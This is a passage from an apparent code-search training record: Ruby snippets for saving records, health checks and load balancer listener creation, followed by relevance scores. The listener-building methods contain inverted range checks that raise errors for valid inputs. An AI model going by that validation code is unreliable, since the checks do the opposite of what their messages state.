1' unless optional[:health_check_timeout] < 1\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or less than 50' unless optional[:health_check_timeout] > 50\n\t\t\targs[:query]['HealthCheckTimeout'] = optional[:health_check_timeout]\n\t\tend\n\t\tif optional.key? :health_check_u_r_i\n\t\t\targs[:query]['HealthCheckURI'] = optional[:health_check_u_r_i]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :sticky_session_type\n\t\t\targs[:query]['StickySessionType'] = optional[:sticky_session_type]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\tif optional.key? :x_forwarded_for\n\t\t\targs[:query]['XForwardedFor'] = optional[:x_forwarded_for]\n\t\tend\n\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless bandwidth < -1\n\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless bandwidth > 1000\n\t\targs[:query]['Bandwidth'] = bandwidth\n\t\traise ArgumentError, 'listener_port must be equal or greater than 1' unless listener_port < 1\n\t\traise ArgumentError, 'listener_port must be equal or less than 65535' unless listener_port > 65535\n\t\targs[:query]['ListenerPort'] = listener_port\n\t\tself.run(args)\n\tend", "def create\n @check = Check.new(check_params)\n @check.company_id = params[:company_id]\n respond_to do |format|\n if @check.save\n format.html { redirect_to company_checks_path(company_id: params[:company_id]), notice: \"志望度チェックの作成に成功しました。\" }\n format.json { redirect_to company_checks_path(company_id: params[:company_id]), status: :created, location: @check }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @check.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n return if @content.nil?\n put_rest \"rules/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end", "def save\n write_properties\n notify(EVENT_SAVE, self)\n end", "def create\n options = {\n :search => params[:search],\n :sort => params[:sort],\n :page => params[:page],\n :anchor => :health_checks,\n }\n redirect_url = send(\"#{ parent_type }_health_checks_url\", parent, options)\n\n if params[:cancel_button]\n redirect_to redirect_url\n else\n @health_check = parent.health_checks.build(params[:health_check])\n\n respond_to do |format|\n if @health_check.save\n flash[:notice] = 'HealthCheck was successfully created.'\n format.html { redirect_to redirect_url }\n format.xml { render :xml => @health_check, :status => :created, :location => @health_check }\n format.js\n else\n @error_messages = @health_check.errors.collect{ |e| e[0].humanize+' - '+e[1] }\n format.html { render :action => \"new\" }\n format.xml { render :xml => @health_check.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end\n end", "def save\n\t\t\t@dirty.each_pair do |k,p|\n\t\t\t\tp.save\n\t\t\t\t$redis.publish('rule-pipeline-'+p.game.api_key, {:identifier => p.identifier, :data => {:value => p.value_description}}.to_json) unless Rails.env.eql?(\"test\")\n\t\t\tend\n\t\t\t@object.save\n\t\t\t# Empty the dirty-cache after successful saves\n\t\t\t@dirty.clear\n\t\t\t@object.reload\n\t\tend", "def save!\n raise \"#{self.inspect} failed to save\" unless self.save\n end", "def update\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n respond_to do |format|\n if @loadbalancer.update_attributes(params[:loadbalancer])\n format.html { redirect_to @loadbalancer, notice: 'Loadbalancer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @loadbalancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_api_status()\n api_status = generate_api_status()\n if !api_status.nil? and !api_status.empty?\n HelperFunctions.write_file(HEALTH_FILE, api_status)\n end\n end", "def update\n @operations_check = OperationsCheck.find(params[:operations_check_id])\n @load_balancer_check = @operations_check.load_balancer_checks.find(params[:id])\n\n respond_to do |format|\n if @load_balancer_check.update_attributes(load_balancer_check_params)\n format.html { redirect_to @load_balancer_check, notice: 'Load balancer check was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @load_balancer_check.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n return unless deliver?\n return unless response = http_post_request\n\n if response.code == '200'\n log \"success - api accepted the exception data.\"\n else\n body = response.body if response.respond_to? :body\n log \"fail - expected: 200 OK, received: #{response.code} #{response.message}\"\n end\n end", "def save\n perform_save\n end", "def record_health(db, phys_stat, ment_stat, steps, ailment_cmt, ailment)\n db.execute(\"INSERT INTO health (phys_stat, ment_stat, steps, ailment_cmt, ailment) VALUES (?, ?, ?, ?, ?)\", [phys_stat, ment_stat, steps, ailment_cmt, ailment])\n define_vars(db)\nend", "def healthcheck\n url = \"#{self.url}/heartbeat\"\n status, _ = rest_get( url )\n return( status )\n end", "def healthcheck\n url = \"#{self.url}/heartbeat\"\n status, _ = rest_get( url )\n return( status )\n end", "def save\n unless saved?\n # TODO: decide whether or not I should perform validations like this at\n # save-time, or only read-time. They can be quite slow.\n self.class.verify_type(hash, type)\n self.class.verify_length(hash, length, dump)\n self.class.verify_hash(hash, type, dump)\n \n contents = OUTPUT_FORMAT % [ type, length, dump ]\n \n self.class.write(hash, contents)\n end\n \n self\n end", "def health\n health = AWS.memoize do\n load_balancer.instances.health.inject({}) do |h,i|\n instance = i[:instance]\n h[instance.id] = i\n h\n end\n end rescue nil\n end", "def _save_to_store\n self._warnings = []\n _commit_externals \n __pack.commit # TODO: need to add some error catching and roll back the external saves where needed\n end", "def create\n @checkpoint = Checkpoint.new(checkpoint_params)\n @checkpoint.activationCount = 0\n \n respond_to do |format|\n if @checkpoint.save\n format.html { redirect_to level_checkpoint_path(@checkpoint.level,@checkpoint) , notice: 'Checkpoint was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def save\n return if @vserver_hash.nil?\n put_rest \"vservers/#{@name}\", @vserver_hash.to_json, :content_type => \"application/json\"\n end", "def persist_statuses\n File.write(@status_path, @statuses.to_json)\n end", "def create\n respond_to do |format|\n if @health_level.save\n format.html { redirect_to @health_level, notice: 'Health level was successfully created.' }\n format.json { render json: @health_level, status: :created, location: @health_level }\n else\n format.html { render action: \"new\" }\n format.json { render json: @health_level.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n self.class.save(self)\n end", "def save(filepath)\n File.open(filepath, \"w\") do |f|\n f.write((@proxies + @dead_proxies).to_yaml)\n end\n end", "def save\n ensure_service!\n @grpc = service.update_metric name, description, filter\n true\n end", "def saveStatus _obj, _args\n \"_obj saveStatus _args;\" \n end", "def check!\n check\n save\n end", "def save\n now = Time.now\n\n data = {\n :id => @id,\n :desc => @desc,\n :ctime => Timestamp.dump(@ctime) || Timestamp.dump(now),\n :mtime => Timestamp.dump(now),\n :ppg_filename => @ppg_filename,\n }\n jobinfo.write(YAML.dump(data))\n end", "def save\n\t\tend", "def save\n # TODO validar atributos?\n response = Http.put(\"/accounts/api/service-info/#{identity.uuid}/#{slug}/\", save_body)\n raise \"unexpected response: #{response.code} - #{response.body}\" unless [200,201].include?(response.code)\n attributes_hash = MultiJson.decode(response.body)\n set_attributes(attributes_hash)\n @errors = {}\n @persisted = true\n true\n rescue *[RestClient::Conflict, RestClient::BadRequest] => e\n @errors = MultiJson.decode(e.response.body)\n false\n end", "def save\n @saved = @state\n end", "def save\n end", "def save(code_and_response)\n color, icon = Formatter.handle_response(code_and_response)\n @config.ci.last_checked = Time.now.strftime('%s')\n @config.ci.response = code_and_response.to_json\n @config.ci.color = color\n @config.ci.status = icon\n nil\n end", "def persist_solr_status\n cluster = clusterstatus\n rows = check_cluster(status: cluster)\n\n # store to disk the current status\n store = PStore.new('cluster_stauts.pstore')\n store.transaction do\n # only for debug\n store['solr_cluster_status'] = cluster\n\n # save rows\n store['solr_cluster_status_rows'] = rows\n store['replicas_not_active'] = @replicas_not_active\n end\n end", "def save(obj)\n obj.raise_on_save_failure = false\n obj.save\n end", "def save\n save!\n rescue AnsibleTowerClient::Error\n false\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def perform_save\n api.bucket_save(self)\n end", "def save(path)\n Pathname.new(path).write(self.to_yaml)\n\n true\n rescue\n # TODO Add a custom exception here to track why it erred. IO? Permissions? etc.\n false\n end", "def handle_state_save\n # dump state\n $log.debug? && dump_state\n state.save\n rescue => save_exception\n $stderr.puts \"Error saving state, #{save_exception}\"\n end", "def save_state\n # start will al state to be saved\n state_to_save = { 'startup_tags' => startup_tags,\n 'reboot' => reboot?,\n 'log_level' => log_level }\n\n # only save a log file one is defined\n if log_file\n state_to_save['log_file'] = log_file\n end\n\n # only save persist the fact we downloaded cookbooks if we are in dev mode\n if download_once?\n state_to_save['has_downloaded_cookbooks'] = has_downloaded_cookbooks?\n end\n\n RightScale::JsonUtilities::write_json(RightScale::CookState::STATE_FILE, state_to_save)\n true\n end", "def save\n save_timeline\n save_queue(id, @queue) #in waitlist module\n save_tweets(id, @tweets)\n save_watchlist(id, @watch_list)\n rules.each{|rule|rule.create}\n end", "def create_load_balancer_h_t_t_p_s_listener(backend_server_port, bandwidth, health_check, listener_port, load_balancer_id, server_certificate_id, sticky_session, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateLoadBalancerHTTPSListener'\n\t\targs[:query]['HealthCheck'] = health_check\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['ServerCertificateId'] = server_certificate_id\n\t\targs[:query]['StickySession'] = sticky_session\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :cookie\n\t\t\targs[:query]['Cookie'] = optional[:cookie]\n\t\tend\n\t\tif optional.key? :cookie_timeout\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or greater than 1' unless optional[:cookie_timeout] < 1\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or less than 86400' unless optional[:cookie_timeout] > 86400\n\t\t\targs[:query]['CookieTimeout'] = optional[:cookie_timeout]\n\t\tend\n\t\tif optional.key? :health_check_connect_port\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or greater than -520' unless optional[:health_check_connect_port] < -520\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or less than 65535' unless optional[:health_check_connect_port] > 65535\n\t\t\targs[:query]['HealthCheckConnectPort'] = optional[:health_check_connect_port]\n\t\tend\n\t\tif optional.key? :health_check_domain\n\t\t\targs[:query]['HealthCheckDomain'] = optional[:health_check_domain]\n\t\tend\n\t\tif optional.key? :health_check_http_code\n\t\t\targs[:query]['HealthCheckHttpCode'] = optional[:health_check_http_code]\n\t\tend\n\t\tif optional.key? :health_check_interval\n\t\t\traise ArgumentError, 'health_check_interval must be equal or greater than 1' unless optional[:health_check_interval] < 1\n\t\t\traise ArgumentError, 'health_check_interval must be equal or less than 5' unless optional[:health_check_interval] > 5\n\t\t\targs[:query]['HealthCheckInterval'] = optional[:health_check_interval]\n\t\tend\n\t\tif optional.key? :health_check_timeout\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or greater than 1' unless optional[:health_check_timeout] < 1\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or less than 50' unless optional[:health_check_timeout] > 50\n\t\t\targs[:query]['HealthCheckTimeout'] = optional[:health_check_timeout]\n\t\tend\n\t\tif optional.key? :health_check_u_r_i\n\t\t\targs[:query]['HealthCheckURI'] = optional[:health_check_u_r_i]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :sticky_session_type\n\t\t\targs[:query]['StickySessionType'] = optional[:sticky_session_type]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\tif optional.key? :x_forwarded_for\n\t\t\targs[:query]['XForwardedFor'] = optional[:x_forwarded_for]\n\t\tend\n\t\traise ArgumentError, 'backend_server_port must be equal or greater than 1' unless backend_server_port < 1\n\t\traise ArgumentError, 'backend_server_port must be equal or less than 65535' unless backend_server_port > 65535\n\t\targs[:query]['BackendServerPort'] = backend_server_port\n\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless bandwidth < -1\n\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless bandwidth > 1000\n\t\targs[:query]['Bandwidth'] = bandwidth\n\t\traise ArgumentError, 'listener_port must be equal or greater than 1' unless listener_port < 1\n\t\traise ArgumentError, 'listener_port must be equal or less than 65535' unless listener_port > 65535\n\t\targs[:query]['ListenerPort'] = listener_port\n\t\tself.run(args)\n\tend" ]
[ "0.65214473", "0.62630206", "0.62096196", "0.6022025", "0.5440961", "0.54199463", "0.54026926", "0.53924656", "0.53271985", "0.53271985", "0.53271985", "0.53271985", "0.53062093", "0.5276351", "0.5266802", "0.5245896", "0.5245496", "0.5245496", "0.52333295", "0.5231805", "0.52301395", "0.52286994", "0.5226497", "0.5219937", "0.52039677", "0.52039677", "0.5193408", "0.51918894", "0.5185365", "0.51814365", "0.5170708", "0.515668", "0.51261514", "0.5121815", "0.5111394", "0.51094043", "0.51017255", "0.5091772", "0.509161", "0.5087955", "0.50836504", "0.50836504", "0.50779676", "0.50772995", "0.507461", "0.5067911", "0.5067911", "0.50658315", "0.5061527", "0.5057611", "0.5044133", "0.5043808", "0.50397027", "0.5023319", "0.50223684", "0.5022328", "0.50192684", "0.5018904", "0.50047827", "0.50029653", "0.50018567", "0.4996012", "0.49954465", "0.49951008", "0.49927783", "0.49889424", "0.49858847", "0.49817136", "0.4981152", "0.49698114", "0.4968849", "0.4968849", "0.49683714", "0.4964372", "0.49532047", "0.4932905", "0.49156404", "0.49073133", "0.49008256", "0.48952037", "0.48908484", "0.4888765", "0.48858508", "0.48857313", "0.4877713", "0.48767087", "0.48735747", "0.4869253", "0.48665535", "0.4864089", "0.48632807", "0.48631883", "0.48612058", "0.4852919", "0.48500273", "0.48490423", "0.484095", "0.4840356", "0.48391977", "0.48359326" ]
0.5682483
4
Save the load balancer attached servers
def balancer_set_instances(balancer) balancer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def server_save(server)\n if(server.persisted?)\n else\n result = request(\n :path => 'containers',\n :method => :post,\n :expects => 202,\n :json => {\n :name => server.name,\n :profiles => [server.flavor_id],\n :ephemeral => server.custom.fetch(:ephemeral, false),\n :source => {\n :type => :image,\n :alias => server.image_id\n }\n }\n )\n wait_for_operation(result.get(:body, :operation), 60)\n server.id = server.name\n server.reload\n until(server.state == :running || server.state == :terminated)\n request(\n :path => \"containers/#{server.name}/state\",\n :method => :put,\n :expects => 202,\n :json => {\n :action => :start\n }\n )\n wait_for_operation(result.get(:body, :operation), 60)\n server.reload\n end\n if(server.state == :terminated)\n raise \"Failed to save server state! (`#{server.name}`)\"\n end\n server\n end\n end", "def save_state()\n server_hash = @server_manager.get_server_hash(@servers)\n\n File.open(@data_path,\"w\") do |f|\n f.write(server_hash.to_json)\n end\n end", "def perform_save\n api.balancer_save(self)\n end", "def save\n return if @vserver_hash.nil?\n put_rest \"vservers/#{@name}\", @vserver_hash.to_json, :content_type => \"application/json\"\n end", "def save_brins\n brins_file.write( Marshal.dump(brins))\n update_all_data_in_file\n end", "def register_servers(servers)\n raise \"You have to provide at least one server\" unless servers\n options = {load_balancer_id: self.id, server_ids: servers.collect(&:id)}\n response = Profitbricks.request :register_servers_on_load_balancer, options\n self.reload\n return true\n end", "def save_server(server, *args)\n add_proxy(server.public_ip_address, config['proxy_port'], nil, nil, *args)\n end", "def add_servers(servers)\n sync do\n servers.each do |server|\n unless @servers.has_key?(server)\n @servers[server] = server\n @available_connections[server] = []\n @allocated[server] = {}\n end\n end\n end\n end", "def servers=(servers)\r\n @servers = {}\r\n servers.each{|s| @servers[s.host] = s}\r\n end", "def save_server_in_context(servers, overwrite=true)\n fields = [\"#{provider}_private_ips\", \"cloud_private_ips\", \"#{provider}_ips\", \"cloud_ips\", \"#{provider}_names\", \"cloud_names\"]\n values = {}\n fields.each {|f| values[f] = get_field(f) || []}\n\n servers.each do |s|\n private_addr = private_address(s)\n ip = s.public_ip_address\n name = server_name(s)\n\n if private_addr and !private_addr.empty?\n values[\"#{provider}_private_ips\"] << private_addr\n values[\"cloud_private_ips\"] << private_addr\n end\n\n unless s.public_ip_address.nil?\n values[\"#{provider}_ips\"] << ip\n values[\"cloud_ips\"] << ip\n end\n\n values[\"#{provider}_names\"] << name\n values[\"cloud_names\"] << name\n end\n\n values.each {|k,v| set_field(k, v)}\n end", "def add_servers servers\n @station.add_servers servers\n end", "def add_servers(servers)\n servers.each{|s| @servers[s] = s}\n end", "def attach_to_elbs(instance:, load_balancers:)\n check_arguments(instance: instance, load_balancers: load_balancers)\n\n if load_balancers.empty?\n log(\"No load balancers to attach to\")\n return {}\n end\n\n @lb_wait_params = []\n registered_instances = {} # return this\n\n load_balancers.each do |lb|\n params = {\n load_balancer_name: lb.load_balancer_name,\n instances: [{ instance_id: instance.ec2_instance_id }]\n }\n\n result = @elb_client.register_instances_with_load_balancer(params)\n\n registered_instances[lb.load_balancer_name] = result\n @lb_wait_params << params\n end\n\n log(\"Re-attaching instance #{instance.hostname} to all load balancers\")\n\n unless @regional_deploy\n wait_for_re_attach(@lb_wait_params)\n end\n\n registered_instances\n end", "def servers\n sync{@servers.keys}\n end", "def save!\n File.open(connections_file, 'w') {|f| f.write(@connections.to_yaml) }\n end", "def reload_hosts_list\n self.hosts = self.storage_servers\n write_hosts_to_file\n end", "def save_configuration_files(server)\n puts \"Saving config files\"\n object_behavior(server, :spot_check_command, 'mkdir -p /root/start_stop_backup')\n object_behavior(server, :spot_check_command, 'cp /etc/postfix/main.cf /root/start_stop_backup/.')\n object_behavior(server, :spot_check_command, 'cp /etc/syslog-ng/syslog-ng.conf /root/start_stop_backup/.')\n end", "def save_configuration_files(server)\n puts \"Saving config files\"\n probe(server, 'mkdir -p /root/start_stop_backup')\n probe(server, 'cp /etc/postfix/main.cf /root/start_stop_backup/.')\n probe(server, 'cp /etc/syslog-ng/syslog-ng.conf /root/start_stop_backup/.')\n end", "def save\n requires :ctid\n raise Fog::Errors::Error.new('Resaving an existing object may create a duplicate') if persisted?\n meta_hash = {}\n create_options = {\n 'ctid' => ctid,\n 'ostemplate' => ostemplate,\n 'layout' => layout ,\n 'hostname' => hostname,\n 'name' => name,\n 'ipadd' => ipadd,\n 'diskspace' => diskspace,\n 'private' => private,\n 'root' => root,\n 'local_uid' => local_uid,\n 'local_gid' => local_gid\n }\n data = service.create_server(create_options)\n reload\n end", "def save_to_sites\n if Site.where(:id => self.site_id).count == 0\n p self\n return\n end\n STDERR.puts \"save_to_sites: Site: #{site}\"\n site_dir = Rails.root.join(\"sites\", site.name)\n unless Dir.exists? site_dir\n Dir.mkdir site_dir\n end\n payload_dir = site_dir.join(self.name)\n unless Dir.exists? payload_dir\n Dir.mkdir payload_dir\n end\n STDERR.puts \"Writing: #{payload_dir}\"\n File.open(payload_dir.join(\"client_script.rb\"), \"wb\") do |f|\n f.write self.client_script\n end \n File.open(payload_dir.join(\"data_generator.rb\"), \"wb\") do |f|\n f.write self.data_generator\n end \n end", "def save_save_list\n save_list.each do |obj|\n obj.save!\n end\n end", "def activate_servers(servers)\n raise \"You have to provide at least one server\" unless servers\n options = {load_balancer_id: self.id, server_ids: servers.collect(&:id)}\n response = Profitbricks.request :activate_load_balancing_on_servers, options\n return true\n end", "def save_rack_topology\n topology_policy = cluster_attributes(RACK_TOPOLOGY_POLICY_KEY)\n topology_policy.upcase! if topology_policy\n topology_enabled = (topology_policy and topology_policy != 'NONE')\n topology_hve_enabled = (topology_policy and topology_policy == 'HVE')\n\n topology = self.servers.collect do |svr|\n vm = svr.fog_server\n next if !vm or !vm.ipaddress or !vm.physical_host\n rack = vm.rack.to_s.empty? ? 'default-rack' : vm.rack\n case topology_policy\n when 'RACK_AS_RACK'\n vm.all_ip_addresses.collect { |ip| \"#{ip} /#{rack}\" }.join(\"\\n\")\n when 'HOST_AS_RACK'\n vm.all_ip_addresses.collect { |ip| \"#{ip} /#{vm.physical_host}\" }.join(\"\\n\")\n when 'HVE'\n vm.all_ip_addresses.collect { |ip| \"#{ip} /#{rack}/#{vm.physical_host}\" }.join(\"\\n\")\n else\n nil\n end\n end\n topology = topology.join(\"\\n\")\n\n conf = {\n :hadoop => {\n :rack_topology => {\n :enabled => topology_enabled,\n :hve_enabled => topology_hve_enabled,\n :data => topology\n }\n }\n }\n Chef::Log.debug('saving Rack Topology to cluster role: ' + conf.to_s)\n merge_to_cluster_role(conf)\n end", "def update_lb_servers\n clean_up\n @hosts.each do |host|\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n containers = Docker::Container.all(all: true, filters: { ancestor: [@ws_image], status:['running'] }.to_json)\n containers.each do |container|\n port = container.json['HostConfig']['PortBindings']['8070/tcp'][0]['HostPort']\n register_container(host, port, container.id)\n end\n end\n end", "def backup_appserver_state()\n HelperFunctions.write_json_file(APPSERVER_STATE_FILE, @app_info_map)\n ZKInterface.write_appserver_state(my_node.public_ip, @app_info_map)\n end", "def persist!\n @snapshot.save!\n @processes.each(&:save!)\n persist_labels\n persist_metrics\n end", "def save\n on_each_node :save\n end", "def save_ssdb_attrs\n params = (changes.keys & self.class.ssdb_attr_names).map do |attr|\n [\"#{ssdb_attr_key(attr)}\", changes[attr][1]]\n end\n\n ssdb_attr_pool.with do |conn|\n conn.mset(*params.flatten)\n end if params.length > 0\n end", "def servers\n @_servers ||= []\n end", "def servers\n @_servers ||= []\n end", "def save_job_list\n @saved_job_list = jobs\n end", "def save\n # add the id to the book list\n @hub.lpush('book:list', @id)\n\n # creates the couples key-values where we store our data\n BOOK_STRING_ATTRS.each do |attr|\n @hub.set(\"book:#{@id}:#{attr}\", self.send(attr.to_sym))\n end\n\n # creates a set containing all the topic id associated to our book\n # and add the book id to the set of all the books belonging to the\n # same topic\n @topics.each do |topic|\n tid = (topic.is_a?(Book)) ? topic.id : topic\n @hub.sadd(\"book:#{@id}:topics\", tid)\n Topic.add_book(tid, id)\n end\n \n # create a set containing all the authors id of our book and add\n # the book id to the set of all the books belonging to the same\n # author\n @authors.each do |author|\n aid = (author.is_a?(Author)) ? author.id : author\n @hub.sadd(\"book:#{@id}:authors\", author)\n Author.add_book(author, id)\n end\n end", "def persist_labels\n self.labels.each do |label|\n\n # Write the label using an upsert so that we just replace the value of\n # any pre-defined matching labels if they already exist.\n conditions = { :node_id => label.node_id, :path => label.path }\n value = label.to_mongo.delete_if { |k, v| k == '_id' }\n \n Sherlock::Models::Label.collection.update(conditions, value, :upsert => true)\n\n end\n end", "def migrate_elbs\n elbs_dir = \"#{@migration_root}/elb-load-balancers\"\n policies_dir =\"#{@migration_root}/elb-policies\"\n\n if !Dir.exists?(@migration_root)\n Dir.mkdir(@migration_root)\n end\n if !Dir.exists?(elbs_dir)\n Dir.mkdir(elbs_dir)\n end\n if !Dir.exists?(policies_dir)\n Dir.mkdir(policies_dir)\n end\n\n ELB::elbs.map do |elb_name, elb|\n puts \"Migrating load balancer #{elb_name}\"\n\n local_elb = LoadBalancerConfig.new(elb_name)\n tags = ELB::elb_tags(elb_name)\n attributes = ELB::elb_attributes(elb_name)\n local_elb.populate!(elb, tags, attributes)\n\n # Migrate the backend and listener policies if they do not already\n # exist locally and are not the default AWS policies\n listener_policies = local_elb.listeners.flat_map { |l| l.policies }\n backend_policies = local_elb.backend_policies.flat_map { |b| b.policy_names }\n\n (listener_policies + backend_policies).uniq.map do |policy_name|\n policy_file = \"#{policies_dir}/#{policy_name}.json\"\n # If it is not already migrated and not a default policy, create it\n if !File.file? policy_file\n if !ELB::default_policies.has_key? policy_name\n # Get the full policy description from the elb policies\n full_policy = ELB::elb_policies(elb_name)[policy_name]\n\n if full_policy.nil?\n puts \"Unable to migrate policy #{policy_name}\"\n else\n puts \"Migrating policy #{policy_name}\"\n json = JSON.pretty_generate(full_policy.to_cumulus_hash)\n File.open(policy_file, \"w\") { |f| f.write(json) }\n end\n end\n end\n end\n\n File.open(\"#{elbs_dir}/#{elb_name}.json\", \"w\") { |f| f.write(local_elb.pretty_json) }\n end\n\n end", "def update_fog_servers(fog_servers)\n fog_servers.each do |fog_server|\n server = self.servers.find { |svr| svr.fullname == fog_server.name }\n server.fog_server = fog_server if server\n end\n end", "def save_server_ids_in_context(servers, overwrite=true)\n ids = servers.map {|s| s.identity}\n set_field(\"#{provider}_ids\", ids.concat(get_field(\"#{provider}_ids\") || []))\n set_field(\"cloud_ids\", ids.concat(get_field(\"cloud_ids\") || []))\n end", "def drive\n exit 1 if in_a_bourbon_house?\n links = []\n read_subbacks.each do |subback_file|\n subbacks = YAML.load_file(subback_file)\n links = get_links(subbacks)\n links.sort {|a, b| a.tv <=> b.tv}.each do |link|\n link.save\n end\n end\n rescue BourbonHouseException => e\n $stderr.puts \"#{e.class}|#{e.message}||#{Time.now}\"\n File.open(LOCK_FILE, 'w').close\n rescue => e\n $stderr.puts \"#{e.class}|#{e.message}|#{e.backtrace}|#{Time.now}\"\n end", "def save_rhost\n\t\t@old_rhost = datastore['RHOST']\n\t\t@old_rport = datastore['RPORT']\n\tend", "def save(request)\n catalog = request.instance\n\n host = ar_model.find_by_name(catalog.name) || ar_model.create(:name => catalog.name)\n\n host.railsmark \"Saved catalog to database\" do\n host.merge_resources(catalog.vertices)\n host.last_compile = Time.now\n\n if node = Puppet::Node.indirection.find(catalog.name)\n host.ip = node.parameters[\"ipaddress\"]\n host.environment = node.environment.to_s\n end\n\n host.save\n end\n end", "def fetch_from_ec2_loadbalancer\n instances_for_deploy = []\n loadbalancer lb_webserver, :web\n instances_for_deploy\nend", "def fetch_from_ec2_loadbalancer\n instances_for_deploy = []\n loadbalancer lb_webserver, :web\n instances_for_deploy\nend", "def servers\n gateway_check\n @servers\n end", "def save(filepath)\n File.open(filepath, \"w\") do |f|\n f.write((@proxies + @dead_proxies).to_yaml)\n end\n end", "def create\n @server = Server.new(params[:server])\n @server.account_id = @oeaccount.id \n respond_to do |format|\n if @server.save\n @server.send_create\n # NOTE TO MYSELF YOU NEED TO CHECK IF THE DEPLOYMENTS AND ROLES BELONG TO THE USER\n\tif params[:deployment_ids]\n #@server.deployments << Deployment.find(params[:deployments][:ids])\n @server.deployment_ids = params[:deployment_ids]\n\tend\n\tif params[:role_ids]\n #@server.roles << Role.find(params[:roles][:ids])\n @server.role_ids = params[:role_ids]\n\tend\n format.html { redirect_to servers_url, notice: 'Server was successfully created.' }\n format.json { render json: @server, status: :created, location: @server }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end", "def switch_server\n self.connection = nil\n servers << servers.shift\n end", "def set_server\n @server = Server.includes(:user).includes(:votes).find(params[:id])\n end", "def servers=(server_hash) # Only in Ruby API (1.3 compatible)\n\t\t@settings.servers = server_hash\n\tend", "def config_master_from_scratch_from_dumpfile(server)\n create_stripe_from_dumpfile(server)\n run_query(\"CREATE DATABASE i_heart_monkey\", server)\n set_master_dns(server)\n # This sleep is to wait for 